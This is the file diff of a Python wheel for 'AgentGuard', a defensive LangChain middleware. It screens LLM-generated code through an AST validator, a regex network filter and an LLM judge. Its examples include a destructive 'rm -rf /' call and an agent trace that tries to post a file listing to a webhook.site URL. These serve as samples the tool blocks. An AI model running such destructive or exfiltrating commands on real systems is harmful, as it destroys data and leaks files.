securellm-agentguard 0.1.0__py3-none-any.whl

agentguard/__init__.py

@@ -0,0 +1,13 @@
+"""
+AgentGuard — Security middleware for LangChain agents.
+
+Intercept, validate, and safely execute LLM-generated code
+through a 3-layer security pipeline.
+"""
+
+from agentguard.exceptions import SecurityBlockedError
+from agentguard.policy import SecurityPolicy
+from agentguard.tools.langchain_tool import SafePythonREPLTool
+
+__version__ = "0.1.0"
+__all__ = ["SecurityPolicy", "SafePythonREPLTool", "SecurityBlockedError"]

agentguard/exceptions.py

@@ -0,0 +1,28 @@
+"""
+Custom exceptions for AgentGuard.
+"""
+
+
+class SecurityBlockedError(Exception):
+    """
+    Raised when AgentGuard blocks code execution due to a security violation.
+
+    This exception is intentionally descriptive so that the LangChain agent
+    can receive it as feedback and self-correct its next action.
+
+    Example:
+        >>> raise SecurityBlockedError(
+        ...     layer="AST Validator",
+        ...     reason="Forbidden import detected: 'os'",
+        ...     code="import os; os.system('rm -rf /')"
+        ... )
+    """
+
+    def __init__(self, layer: str, reason: str, code: str) -> None:
+        self.layer = layer
+        self.reason = reason
+        self.code = code
+        super().__init__(
+            f"[AgentGuard | {layer}] BLOCKED — {reason}. "
+            f"Rewrite the code without the forbidden operation."
+        )

agentguard/judges/__init__.py

@@ -0,0 +1,5 @@
+"""Judges package."""
+
+from agentguard.judges.gemini_judge import SemanticJudge
+
+__all__ = ["SemanticJudge"]

agentguard/judges/gemini_judge.py

@@ -0,0 +1,68 @@
+"""
+Layer 3 — Gemini Semantic Judge.
+
+Uses a Gemini LLM to evaluate the semantic intent of code that
+passed the static layers, catching subtle or obfuscated malicious logic.
+"""
+
+from langchain_core.language_models import BaseChatModel
+from langchain_core.messages import HumanMessage, SystemMessage
+
+from agentguard.exceptions import SecurityBlockedError
+
+_SYSTEM_PROMPT = """You are an expert security engineer reviewing code generated
+by an AI agent.
+Your ONLY job is to determine if the code has malicious or destructive intent.
+
+Malicious intent includes:
+- Attempting to exfiltrate data (send data to external services)
+- Attempting to delete, overwrite, or corrupt files or databases
+- Attempting to escalate privileges or bypass security controls
+- Attempting to install or execute external programs
+
+Respond with ONLY one of two words:
+- SAFE   → the code does what a legitimate data analysis task would do
+- UNSAFE → the code appears to have malicious or destructive intent
+
+Do NOT explain your reasoning. Do NOT add any other text."""
+
+
+class SemanticJudge:
+    """
+    Validates the semantic intent of code using a Gemini LLM.
+
+    This is Layer 3 of the AgentGuard pipeline — the last resort for
+    catching sophisticated attacks that evaded static analysis.
+
+    The judge uses a strict binary prompt (SAFE/UNSAFE) on a fast,
+    cheap model (gemini-2.0-flash recommended) to minimise latency.
+    """
+
+    def __init__(self, llm: BaseChatModel) -> None:
+        self._llm = llm
+
+    def validate(self, code: str) -> None:
+        """
+        Ask the LLM to evaluate the intent of the code.
+
+        Args:
+            code: Raw Python source code generated by the LLM agent.
+
+        Raises:
+            SecurityBlockedError: If the judge returns UNSAFE.
+        """
+        messages = [
+            SystemMessage(content=_SYSTEM_PROMPT),
+            HumanMessage(content=f"```python\n{code}\n```"),
+        ]
+        response = self._llm.invoke(messages)
+        verdict = str(response.content).strip().upper()
+
+        if verdict != "SAFE":
+            raise SecurityBlockedError(
+                layer="Semantic Judge (Gemini)",
+                reason=(
+                    "LLM analysis detected potentially malicious intent in the code."
+                ),
+                code=code,
+            )

agentguard/policy.py

@@ -0,0 +1,47 @@
+"""
+SecurityPolicy — Pydantic model defining the rules for AgentGuard.
+"""
+
+from pydantic import BaseModel, Field
+
+
+class SecurityPolicy(BaseModel):
+    """
+    Defines the security rules applied by AgentGuard's pipeline.
+
+    Attributes:
+        allowed_modules: Python modules the agent is allowed to import.
+            Defaults to a safe minimal set.
+        allowed_domains: Hostnames/domains the agent is allowed to call.
+            Use an empty list to block ALL network access.
+        use_semantic_judge: Whether to enable the LLM-based semantic analysis
+            (Layer 3). Requires a GEMINI_API_KEY. Disabling it speeds up
+            execution but reduces detection of subtle malicious intent.
+        execution_timeout: Maximum seconds allowed for code execution.
+
+    Example:
+        >>> policy = SecurityPolicy(
+        ...     allowed_modules=["pandas", "json"],
+        ...     allowed_domains=["api.github.com"],
+        ...     use_semantic_judge=True,
+        ... )
+    """
+
+    allowed_modules: list[str] = Field(
+        default=["math", "json", "re", "datetime", "collections"],
+        description="Whitelist of importable Python modules.",
+    )
+    allowed_domains: list[str] = Field(
+        default=[],
+        description="Whitelist of allowed network domains. Empty = no network.",
+    )
+    use_semantic_judge: bool = Field(
+        default=True,
+        description="Enable LLM-based semantic analysis (Layer 3).",
+    )
+    execution_timeout: int = Field(
+        default=10,
+        ge=1,
+        le=60,
+        description="Max seconds for code execution.",
+    )

agentguard/tools/__init__.py

@@ -0,0 +1,5 @@
+"""Tools package."""
+
+from agentguard.tools.langchain_tool import SafePythonREPLTool
+
+__all__ = ["SafePythonREPLTool"]

agentguard/tools/langchain_tool.py

@@ -0,0 +1,266 @@
+"""
+LangChain integration — SafePythonREPLTool.
+
+A drop-in replacement for LangChain's PythonREPLTool that runs
+all code through the AgentGuard 3-layer security pipeline before execution.
+"""
+
+import io
+import threading
+import warnings
+from contextlib import redirect_stdout
+
+from langchain_core.callbacks import CallbackManagerForToolRun
+from langchain_core.language_models import BaseChatModel
+from langchain_core.tools import BaseTool
+from pydantic import BaseModel, Field
+
+from agentguard.exceptions import SecurityBlockedError
+from agentguard.judges.gemini_judge import SemanticJudge
+from agentguard.policy import SecurityPolicy
+from agentguard.validators.ast_validator import ASTValidator
+from agentguard.validators.network_filter import NetworkFilter
+
+# Builtins that are safe to expose to LLM-generated code.
+# This whitelist explicitly excludes dangerous functions like
+# exec, eval, compile, open, __import__, getattr, setattr, delattr.
+_SAFE_BUILTINS: dict = {
+    # Types & constructors
+    "bool": bool,
+    "int": int,
+    "float": float,
+    "str": str,
+    "list": list,
+    "dict": dict,
+    "tuple": tuple,
+    "set": set,
+    "frozenset": frozenset,
+    "bytes": bytes,
+    "bytearray": bytearray,
+    "complex": complex,
+    "type": type,
+    # Iteration & ranges
+    "range": range,
+    "enumerate": enumerate,
+    "zip": zip,
+    "map": map,
+    "filter": filter,
+    "reversed": reversed,
+    "iter": iter,
+    "next": next,
+    # Aggregation
+    "len": len,
+    "min": min,
+    "max": max,
+    "sum": sum,
+    "abs": abs,
+    "round": round,
+    "sorted": sorted,
+    "any": any,
+    "all": all,
+    # String & representation
+    "print": print,
+    "repr": repr,
+    "format": format,
+    "chr": chr,
+    "ord": ord,
+    "ascii": ascii,
+    "hex": hex,
+    "oct": oct,
+    "bin": bin,
+    # Type checking
+    "isinstance": isinstance,
+    "issubclass": issubclass,
+    "callable": callable,
+    "hasattr": hasattr,
+    # Conversion & introspection
+    "id": id,
+    "hash": hash,
+    "dir": dir,
+    "vars": vars,
+    "input": None,  # Explicitly blocked — agents should not prompt for input
+    # Exceptions (so the code can use try/except)
+    "Exception": Exception,
+    "ValueError": ValueError,
+    "TypeError": TypeError,
+    "KeyError": KeyError,
+    "IndexError": IndexError,
+    "AttributeError": AttributeError,
+    "RuntimeError": RuntimeError,
+    "StopIteration": StopIteration,
+    "ZeroDivisionError": ZeroDivisionError,
+    "FileNotFoundError": FileNotFoundError,
+    "NotImplementedError": NotImplementedError,
+    # Booleans & None
+    "True": True,
+    "False": False,
+    "None": None,
+}
+
+
+class _CodeInput(BaseModel):
+    """Input schema for the SafePythonREPLTool."""
+
+    code: str = Field(description="The Python code to execute.")
+
+
+class SafePythonREPLTool(BaseTool):
+    """
+    A secure Python REPL tool for LangChain agents.
+
+    Runs LLM-generated code through AgentGuard's 3-layer security pipeline:
+    1. AST Static Validator — blocks forbidden imports and built-in calls.
+    2. Network Filter — blocks calls to non-whitelisted domains.
+    3. Semantic Judge (optional) — uses Gemini to detect subtle malicious intent.
+
+    If any layer raises a SecurityBlockedError, the error message is returned
+    to the agent as tool output, allowing it to self-correct.
+
+    Usage:
+        >>> from agentguard import SafePythonREPLTool, SecurityPolicy
+        >>> from langchain_google_genai import ChatGoogleGenerativeAI
+        >>>
+        >>> policy = SecurityPolicy(
+        ...     allowed_modules=["pandas", "json"],
+        ...     use_semantic_judge=True,
+        ... )
+        >>> judge_llm = ChatGoogleGenerativeAI(model="gemini-1.5-flash")
+        >>> tool = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)
+    """
+
+    name: str = "safe_python_repl"
+    description: str = (
+        "A secure Python interpreter. Use it to execute Python code. "
+        "Dangerous operations (system calls, forbidden imports, data exfiltration) "
+        "will be blocked and you will be asked to rewrite the code."
+    )
+    args_schema: type[BaseModel] = _CodeInput
+    policy: SecurityPolicy = Field(default_factory=SecurityPolicy)
+    judge_llm: BaseChatModel | None = None
+
+    def model_post_init(self, __context: object) -> None:
+        """Warn if semantic judge is enabled but no LLM is provided."""
+        if self.policy.use_semantic_judge and self.judge_llm is None:
+            warnings.warn(
+                "[AgentGuard] use_semantic_judge=True but no judge_llm was provided. "
+                "Layer 3 (Semantic Judge) will be SKIPPED. "
+                "Pass a judge_llm to enable it, "
+                "or set use_semantic_judge=False to suppress this warning.",
+                UserWarning,
+                stacklevel=2,
+            )
+
+    def _run(
+        self,
+        code: str,
+        run_manager: CallbackManagerForToolRun | None = None,
+    ) -> str:
+        """
+        Execute the 3-layer pipeline and run the code if all checks pass.
+
+        Returns a string result (either code output or a SecurityBlockedError
+        message for agent self-correction).
+        """
+        try:
+            return self._execute_pipeline(code)
+        except SecurityBlockedError as exc:
+            return str(exc)
+
+    def _execute_pipeline(self, code: str) -> str:
+        """Run validation layers then execute the code in a sandboxed env."""
+        # ── Layer 1: AST Static Analysis ──────────────────────────────────
+        ASTValidator(self.policy).validate(code)
+
+        # ── Layer 2: Network Filter ────────────────────────────────────────
+        NetworkFilter(self.policy).validate(code)
+
+        # ── Layer 3: Semantic Judge (optional) ────────────────────────────
+        if self.policy.use_semantic_judge and self.judge_llm is not None:
+            SemanticJudge(self.judge_llm).validate(code)
+
+        # ── All checks passed — execute safely with timeout ───────────────
+        return self._safe_exec(code)
+
+    def _safe_exec(self, code: str) -> str:
+        """
+        Execute code in a sandboxed environment with:
+        - Restricted builtins (no exec/eval/open)
+        - A controlled __import__ that only allows policy-whitelisted modules
+        - stdout capture (print statements are returned)
+        - Timeout enforcement (SecurityPolicy.execution_timeout)
+        """
+        local_vars: dict = {}
+        stdout_capture = io.StringIO()
+        exec_error: list[Exception] = []
+
+        # Build builtins with a restricted __import__ for this execution
+        sandboxed_builtins = {**_SAFE_BUILTINS}
+        sandboxed_builtins["__import__"] = self._make_restricted_import()
+
+        def _target() -> None:
+            try:
+                with redirect_stdout(stdout_capture):
+                    exec(code, {"__builtins__": sandboxed_builtins}, local_vars)  # noqa: S102
+            except Exception as exc:
+                exec_error.append(exc)
+
+        thread = threading.Thread(target=_target, daemon=True)
+        thread.start()
+        thread.join(timeout=self.policy.execution_timeout)
+
+        if thread.is_alive():
+            return (
+                f"[AgentGuard] TIMEOUT — Code execution exceeded "
+                f"{self.policy.execution_timeout}s limit. "
+                f"Rewrite the code to be faster or reduce the data size."
+            )
+
+        if exec_error:
+            return f"Execution error: {exec_error[0]}"
+
+        # Build output from stdout and/or the 'result' variable
+        printed = stdout_capture.getvalue()
+        result = local_vars.get("result", None)
+
+        parts: list[str] = []
+        if printed.strip():
+            parts.append(printed.strip())
+        if result is not None:
+            parts.append(str(result))
+
+        if parts:
+            return "\n".join(parts)
+        return "Code executed successfully (no output produced)."
+
+    def _make_restricted_import(self):  # noqa: ANN202
+        """
+        Create a restricted __import__ that only allows policy-whitelisted modules.
+
+        This is necessary because Python's `import X` statement internally calls
+        `__import__('X', ...)`. Without this, any code using `import` inside
+        the sandboxed exec() would fail — even for allowed modules like `math`.
+
+        Safety note: by the time code reaches _safe_exec, it has already passed
+        the AST validator which checks that only whitelisted modules are imported.
+        This restricted __import__ is a defense-in-depth measure.
+        """
+        allowed = set(self.policy.allowed_modules)
+
+        def _restricted_import(
+            name: str,
+            globals: dict = None,  # noqa: A002
+            locals: dict = None,  # noqa: A002
+            fromlist: tuple = (),
+            level: int = 0,
+        ):  # noqa: ANN202
+            root_module = name.split(".")[0]
+            if root_module not in allowed:
+                raise ImportError(
+                    f"Import of '{root_module}' is not allowed by the security policy."
+                )
+            # Use the built-in __import__ directly — avoids the __builtins__
+            # dict vs. module ambiguity that varies across Python implementations.
+            return __import__(name, globals or {}, locals or {}, fromlist, level)
+
+        return _restricted_import
+

agentguard/validators/__init__.py

@@ -0,0 +1,6 @@
+"""Validators package."""
+
+from agentguard.validators.ast_validator import ASTValidator
+from agentguard.validators.network_filter import NetworkFilter
+
+__all__ = ["ASTValidator", "NetworkFilter"]

agentguard/validators/ast_validator.py

@@ -0,0 +1,102 @@
+"""
+Layer 1 — AST Static Validator.
+
+Analyses the Abstract Syntax Tree of LLM-generated code
+without executing it, blocking forbidden imports and system calls.
+"""
+
+import ast
+
+from agentguard.exceptions import SecurityBlockedError
+from agentguard.policy import SecurityPolicy
+
+# Calls that are unconditionally forbidden, regardless of the policy.
+_FORBIDDEN_CALLS: set[str] = {
+    # Code execution
+    "exec",
+    "eval",
+    "compile",
+    "__import__",
+    # File system access
+    "open",
+    # Attribute manipulation (evasion vectors)
+    "getattr",
+    "setattr",
+    "delattr",
+    # Runtime introspection (sandbox escape)
+    "globals",
+    "locals",
+}
+
+
+class ASTValidator:
+    """
+    Validates Python source code using static AST analysis.
+
+    This is Layer 1 of the AgentGuard pipeline. It is fast (no I/O,
+    no network) and catches the most obvious attack vectors.
+    """
+
+    def __init__(self, policy: SecurityPolicy) -> None:
+        self._policy = policy
+
+    def validate(self, code: str) -> None:
+        """
+        Parse and inspect the code AST.
+
+        Args:
+            code: Raw Python source code generated by the LLM agent.
+
+        Raises:
+            SecurityBlockedError: If the code contains forbidden imports
+                or dangerous built-in calls.
+            SyntaxError: If the code is not valid Python.
+        """
+        try:
+            tree = ast.parse(code)
+        except SyntaxError as exc:
+            raise SecurityBlockedError(
+                layer="AST Validator",
+                reason=f"Invalid Python syntax: {exc}",
+                code=code,
+            ) from exc
+
+        for node in ast.walk(tree):
+            self._check_imports(node, code)
+            self._check_calls(node, code)
+
+    def _check_imports(self, node: ast.AST, code: str) -> None:
+        """Block any import not explicitly whitelisted in the policy."""
+        if isinstance(node, ast.Import):
+            for alias in node.names:
+                module = alias.name.split(".")[0]
+                if module not in self._policy.allowed_modules:
+                    raise SecurityBlockedError(
+                        layer="AST Validator",
+                        reason=f"Forbidden import detected: '{module}'",
+                        code=code,
+                    )
+        elif isinstance(node, ast.ImportFrom):
+            module = (node.module or "").split(".")[0]
+            if module not in self._policy.allowed_modules:
+                raise SecurityBlockedError(
+                    layer="AST Validator",
+                    reason=f"Forbidden import detected: '{module}'",
+                    code=code,
+                )
+
+    def _check_calls(self, node: ast.AST, code: str) -> None:
+        """Block unconditionally dangerous built-in calls."""
+        if isinstance(node, ast.Call):
+            func_name: str | None = None
+            if isinstance(node.func, ast.Name):
+                func_name = node.func.id
+            elif isinstance(node.func, ast.Attribute):
+                func_name = node.func.attr
+
+            if func_name and func_name in _FORBIDDEN_CALLS:
+                raise SecurityBlockedError(
+                    layer="AST Validator",
+                    reason=f"Forbidden built-in call detected: '{func_name}'",
+                    code=code,
+                )

agentguard/validators/network_filter.py

@@ -0,0 +1,134 @@
+"""
+Layer 2 — Network Filter.
+
+Uses regex to detect network calls targeting domains
+not explicitly whitelisted in the SecurityPolicy.
+Covers: requests, urllib, httpx, aiohttp, socket.
+"""
+
+import re
+
+from agentguard.exceptions import SecurityBlockedError
+from agentguard.policy import SecurityPolicy
+
+# Pattern 1: URL strings in common HTTP library calls
+# Matches requests.get("url"), httpx.get("url"), etc.
+_HTTP_CALL_PATTERN: re.Pattern[str] = re.compile(
+    r"""(?:requests|httpx|aiohttp)\.(get|post|put|delete|patch|head|request)\s*\(\s*['"]([^'"]+)['"]""",
+    re.IGNORECASE,
+)
+
+# Pattern 2: Bare URL strings (https://... or http://...)
+_URL_LITERAL_PATTERN: re.Pattern[str] = re.compile(
+    r"""['"]https?://([^/'"]+)""",
+    re.IGNORECASE,
+)
+
+# Pattern 3: urllib calls — urlopen("url"), urlretrieve("url"), Request("url")
+_URLLIB_PATTERN: re.Pattern[str] = re.compile(
+    r"""(?:urlopen|urlretrieve|Request)\s*\(\s*['"]https?://([^/'"]+)""",
+    re.IGNORECASE,
+)
+
+# Pattern 4: Low-level socket connections — socket.connect(("host", port))
+_SOCKET_PATTERN: re.Pattern[str] = re.compile(
+    r"""\.connect\s*\(\s*\(\s*['"]([^'"]+)['"]\s*,""",
+    re.IGNORECASE,
+)
+
+# Imports that signal network capability
+_NETWORK_IMPORTS: set[str] = {
+    "requests",
+    "httpx",
+    "aiohttp",
+    "urllib",
+    "socket",
+    "http",
+}
+
+
+class NetworkFilter:
+    """
+    Validates network access in LLM-generated code against the policy whitelist.
+
+    This is Layer 2 of the AgentGuard pipeline. It scans source code as
+    plain text using regex patterns to detect outbound network calls.
+    Covers: requests, httpx, aiohttp, urllib, and raw socket connections.
+
+    Note:
+        This layer is heuristic by nature. Sophisticated obfuscation may
+        evade it — that is precisely why Layer 3 (semantic judge) exists.
+    """
+
+    def __init__(self, policy: SecurityPolicy) -> None:
+        self._policy = policy
+
+    def validate(self, code: str) -> None:
+        """
+        Scan the code for network calls and check domains against the whitelist.
+
+        Args:
+            code: Raw Python source code generated by the LLM agent.
+
+        Raises:
+            SecurityBlockedError: If a network call targets a non-whitelisted
+                domain, or if any network call is detected when the whitelist
+                is empty (meaning all network access is forbidden).
+        """
+        domains = self._extract_all_domains(code)
+
+        if not domains:
+            return  # No network calls detected — pass
+
+        # If the whitelist is empty, ALL network access is forbidden
+        if not self._policy.allowed_domains:
+            raise SecurityBlockedError(
+                layer="Network Filter",
+                reason="Network access is forbidden by the security policy.",
+                code=code,
+            )
+
+        for domain in domains:
+            is_allowed = any(
+                domain.endswith(allowed) for allowed in self._policy.allowed_domains
+            )
+            if not is_allowed:
+                raise SecurityBlockedError(
+                    layer="Network Filter",
+                    reason=f"Network call to non-whitelisted domain: '{domain}'",
+                    code=code,
+                )
+
+    def _extract_all_domains(self, code: str) -> set[str]:
+        """Extract all unique domains from detected network patterns."""
+        domains: set[str] = set()
+
+        # HTTP library calls: requests.get("https://..."),
+        # httpx.post("https://..."), etc.
+        for _, url in _HTTP_CALL_PATTERN.findall(code):
+            domains.add(self._extract_domain(url))
+
+        # Bare URL literals
+        for host in _URL_LITERAL_PATTERN.findall(code):
+            domains.add(self._clean_domain(host))
+
+        # urllib calls
+        for host in _URLLIB_PATTERN.findall(code):
+            domains.add(self._clean_domain(host))
+
+        # Raw socket connections
+        for host in _SOCKET_PATTERN.findall(code):
+            domains.add(self._clean_domain(host))
+
+        return domains
+
+    @staticmethod
+    def _extract_domain(url: str) -> str:
+        """Extract the base domain from a full URL string."""
+        url = url.split("//")[-1]  # strip scheme
+        return url.split("/")[0].split("?")[0].split(":")[0]  # strip path, query & port
+
+    @staticmethod
+    def _clean_domain(host: str) -> str:
+        """Clean up a raw host string."""
+        return host.split("/")[0].split("?")[0].split(":")[0]

securellm_agentguard-0.1.0.dist-info/METADATA

@@ -0,0 +1,250 @@
+Metadata-Version: 2.4
+Name: securellm-agentguard
+Version: 0.1.0
+Summary: 🛡️ A security middleware for LangChain agents — intercept, validate and safely execute LLM-generated code.
+Keywords: langchain,llm,ai-safety,agentic-ai,security,gemini
+Author: Thomas LEON
+Author-email: Thomas.leon1707@gmail.com
+Requires-Python: >=3.11,<4.0
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Programming Language :: Python :: 3.14
+Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
+Classifier: Topic :: Security
+Provides-Extra: examples
+Provides-Extra: gemini
+Requires-Dist: langchain (>=0.2)
+Requires-Dist: langchain-core (>=0.2)
+Requires-Dist: pydantic (>=2.0,<3.0)
+Requires-Dist: python-dotenv (>=1.0,<2.0) ; extra == "examples"
+Project-URL: Homepage, https://github.com/Thomas-LEON/agentguard
+Project-URL: Repository, https://github.com/Thomas-LEON/agentguard
+Description-Content-Type: text/markdown
+
+# 🛡️ AgentGuard
+
+> **A security middleware for LangChain agents** — intercept, validate and safely execute LLM-generated code.
+
+[![CI](https://github.com/Thomas-LEON/agentguard/actions/workflows/ci.yml/badge.svg)](https://github.com/Thomas-LEON/agentguard/actions)
+[![Python](https://img.shields.io/badge/python-3.11%2B-blue.svg)](https://www.python.org)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
+[![Code style: ruff](https://img.shields.io/badge/code%20style-ruff-red.svg)](https://github.com/astral-sh/ruff)
+
+---
+
+## 🤔 The Problem
+
+Modern LangChain agents are powerful because they can **generate and execute Python code** autonomously. But this power is a double-edged sword.
+
+A single malicious prompt or a hallucination can lead an agent to generate code like this:
+
+```python
+# An agent asked to "clean up temp files" might generate:
+import os
+import shutil
+shutil.rmtree("/var/data/users")  # 💀 Oops.
+```
+
+There is no native guardrail in LangChain to prevent this.
+
+**AgentGuard is that guardrail.**
+
+---
+
+## ✅ The Solution
+
+AgentGuard wraps your agent's code execution tool in a **3-layer security pipeline**. Before any LLM-generated code runs, it must pass through all three layers:
+
+```mermaid
+flowchart TD
+    A["🤖 LLM Agent generates code"] --> B{"🔍 Layer 1: AST Validator"}
+    B -->|"✅ Pass"| C{"🌐 Layer 2: Network Filter"}
+    B -->|"❌ Blocked"| E["🛡️ SecurityBlockedError\n→ Agent self-corrects"]
+    C -->|"✅ Pass"| D{"🧠 Layer 3: Semantic Judge"}
+    C -->|"❌ Blocked"| E
+    D -->|"✅ SAFE"| F["⚡ Sandboxed exec()\n→ Result back to Agent"]
+    D -->|"❌ UNSAFE"| E
+
+    style A fill:#4a9eff,color:#fff
+    style B fill:#ff9f43,color:#fff
+    style C fill:#ff9f43,color:#fff
+    style D fill:#ff9f43,color:#fff
+    style E fill:#ee5a24,color:#fff
+    style F fill:#2ed573,color:#fff
+```
+
+If any layer blocks the code, the agent receives a **descriptive error** and **self-corrects** — no crash, no data loss.
+
+---
+
+## 🛡️ How it works in Action
+
+When an agent attempts to execute unauthorized system operations, AgentGuard intercepts the execution and provides a self-healing feedback loop back to the LLM:
+
+```text
+> Entering new AgentExecutor chain...
+
+Thought: I need to read the local files and send them to a webhook.
+Action: safe_python_repl
+Action Input:
+import os
+import requests
+files = os.listdir('.')
+requests.post('https://webhook.site/test', json={"files": files})
+
+Observation: [AgentGuard | AST Validator] 🔴 BLOCKED — Forbidden import detected: 'os'. Rewrite the code without the forbidden operation.
+Thought: I am not allowed to use the 'os' module to read files. I cannot fulfill this request as it requires system access.
+Final Answer: 🛑 I am sorry, but I am restricted from accessing the local file system or sending data to external webhooks due to security policies.
+```
+
+---
+
+## 🚀 Quick Start
+
+```bash
+pip install securellm-agentguard
+```
+
+```python
+import os
+from agentguard import SafePythonREPLTool, SecurityPolicy
+from langchain_google_genai import ChatGoogleGenerativeAI
+
+os.environ["GEMINI_API_KEY"] = "your-api-key"
+
+# Define your security rules
+policy = SecurityPolicy(
+    allowed_modules=["pandas", "json", "math"],
+    allowed_domains=["api.github.com"],
+    use_semantic_judge=True,
+)
+
+# Layer 3 requires a Gemini LLM (optional — Layers 1 & 2 work without it)
+judge_llm = ChatGoogleGenerativeAI(model="gemini-2.0-flash")
+safe_repl = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)
+
+# Use it in your LangChain agent instead of PythonREPLTool
+# agent = create_react_agent(llm=your_llm, tools=[safe_repl])
+```
+
+---
+
+## ⚙️ SecurityPolicy Options
+
+| Parameter | Type | Default | Description |
+|---|---|---|---|
+| `allowed_modules` | `list[str]` | `["math", "json", ...]` | Whitelisted Python modules |
+| `allowed_domains` | `list[str]` | `[]` (block all) | Whitelisted network domains |
+| `use_semantic_judge` | `bool` | `True` | Enable Gemini LLM analysis |
+| `execution_timeout` | `int` | `10` | Max execution seconds |
+
+---
+
+## 🔒 Security Layers in Detail
+
+### Layer 1 — AST Static Validator
+
+Uses Python's native `ast` module to parse the code **without executing it**.
+
+**Blocks:**
+- Any `import` not explicitly whitelisted in `allowed_modules`
+- `from X import Y` style imports of non-whitelisted modules
+- Dangerous built-in calls: `exec`, `eval`, `compile`, `open`, `__import__`
+- Sandbox escape vectors: `getattr`, `setattr`, `delattr`, `globals`, `locals`
+
+**Speed:** ~0.1ms — no I/O, no network, pure AST traversal.
+
+### Layer 2 — Network Filter
+
+Uses regex patterns to detect outbound network calls and validates target domains against the whitelist.
+
+**Detects:**
+- `requests.get/post/put/delete/patch/head`
+- `httpx` and `aiohttp` calls
+- `urllib.request.urlopen` and `urlretrieve`
+- Raw `socket.connect()` calls
+- Bare URL literals (`https://...`)
+
+An empty `allowed_domains` list blocks **all** network access.
+
+### Layer 3 — Semantic Judge (Gemini)
+
+For subtle attacks that evade static analysis (e.g. a loop that deletes files one-by-one), the code is sent to `gemini-1.5-flash` with a strict binary prompt.
+
+**Verdict:** Only code classified as `SAFE` passes. Anything else (including ambiguous responses) is blocked — **fail-closed by design**.
+
+**Catches:** Data exfiltration, privilege escalation, destructive file operations, obfuscated malicious intent.
+
+### Sandboxed Execution
+
+Code that passes all 3 layers runs in a restricted environment:
+- **Safe builtins only** — `print`, `len`, `range`, etc. (no `exec`, `eval`, `open`)
+- **stdout capture** — `print()` output is returned to the agent
+- **Timeout enforcement** — configurable via `execution_timeout`
+- **Thread isolation** — execution runs in a daemon thread
+
+---
+
+## 📁 Project Structure
+
+```
+agentguard/
+├── agentguard/
+│   ├── __init__.py              # Public API exports
+│   ├── policy.py                # SecurityPolicy (Pydantic model)
+│   ├── exceptions.py            # SecurityBlockedError
+│   ├── validators/
+│   │   ├── ast_validator.py     # Layer 1: Static AST analysis
+│   │   └── network_filter.py    # Layer 2: Network domain filter
+│   ├── judges/
+│   │   └── gemini_judge.py      # Layer 3: Gemini semantic judge
+│   └── tools/
+│       └── langchain_tool.py    # SafePythonREPLTool (LangChain BaseTool)
+├── tests/                       # Pytest suite (mocked LLM for Layer 3)
+├── examples/
+│   ├── basic_agent.py           # Simple agent + AgentGuard demo
+│   └── threat_intel_demo.py     # Threat analysis agent demo
+├── pyproject.toml               # Poetry config + metadata
+├── .github/workflows/ci.yml     # GitHub Actions CI
+└── README.md
+```
+
+---
+
+## 🗺️ Roadmap
+
+- [x] 3-layer security pipeline (AST + Network + Semantic Judge)
+- [x] LangChain `BaseTool` integration
+- [x] Sandboxed execution with safe builtins
+- [x] Timeout enforcement
+- [x] GitHub Actions CI
+- [ ] **Logging & Audit Trail** — structured logs of every blocked/allowed execution
+- [ ] **Dashboard UI** — web dashboard to visualize security events in real-time
+- [ ] **Rate Limiting** — limit the number of code executions per minute
+- [ ] **Plugin System** — custom validator layers via a simple interface
+- [ ] **PyPI Publication** — `pip install securellm-agentguard` from the public index
+- [ ] **LangSmith Integration** — trace security events in LangSmith
+
+---
+
+## 🤝 Contributing
+
+Contributions are welcome! Please read [CONTRIBUTING.md](CONTRIBUTING.md) first.
+
+## 🔐 Security
+
+Found a vulnerability? Please read [SECURITY.md](SECURITY.md) for responsible disclosure instructions.
+
+## 📄 License
+
+MIT — see [LICENSE](LICENSE).
+
+---
+
+*Built by [Thomas LEON](https://linkedin.com/in/thomas-leon) · Emerging Technologies & AI Security*
+

securellm_agentguard-0.1.0.dist-info/RECORD

@@ -0,0 +1,13 @@
+agentguard/__init__.py,sha256=D0alKmbCWmOqVWtPCyZf_iyflNjnjYl8w1nr0KtSjTw,424
+agentguard/exceptions.py,sha256=tj7-Drhzs9Mt4C-tCwvgBUkApUM0g_rVbrT-QdnL5mc,852
+agentguard/judges/__init__.py,sha256=4Ty8D3zvXTtYJ66JCosbrNIUQikOGdlhQ4BJ3MPGdp8,109
+agentguard/judges/gemini_judge.py,sha256=l7IJtdxL2Df-DEPYj3I5WSQARHbNRZmTMONO640Uf7E,2326
+agentguard/policy.py,sha256=0nGNOkOKvAj2EvTwM8ZHSYhmvL65QctpiPMWJQPIiCk,1606
+agentguard/tools/__init__.py,sha256=JEf3YOVi3nwWcl8m35ECBlIPUWKWidhu7OvZjpjjY70,119
+agentguard/tools/langchain_tool.py,sha256=37kG3gJDhwTde0m5ZZUgC_hJipV0K3I836DXNeC1PdQ,9851
+agentguard/validators/__init__.py,sha256=R0KQy8M9t_WQbyTPW3SiQcQf-thfnMREjrL1xb51LDM,196
+agentguard/validators/ast_validator.py,sha256=ZjD3TkpzXuKavf-qtfPnjv7ZqGs6vYQBbadJlwDlH-E,3445
+agentguard/validators/network_filter.py,sha256=DFXPTZ0rbCvJZvXWwxrB1F2_UK8uqNruBcnPQiAm6so,4608
+securellm_agentguard-0.1.0.dist-info/METADATA,sha256=yJc-_9ANuqjm8rWVJjnZSDt83xZVce5G6Iho9irxO4s,9189
+securellm_agentguard-0.1.0.dist-info/WHEEL,sha256=eY7nduwzv-ldUxpzbRlxwvC693Hg6PX8bWDjEHjZ_dk,88
+securellm_agentguard-0.1.0.dist-info/RECORD,,

securellm_agentguard-0.1.0.dist-info/WHEEL

@@ -0,0 +1,4 @@
+Wheel-Version: 1.0
+Generator: poetry-core 2.4.1
+Root-Is-Purelib: true
+Tag: py3-none-any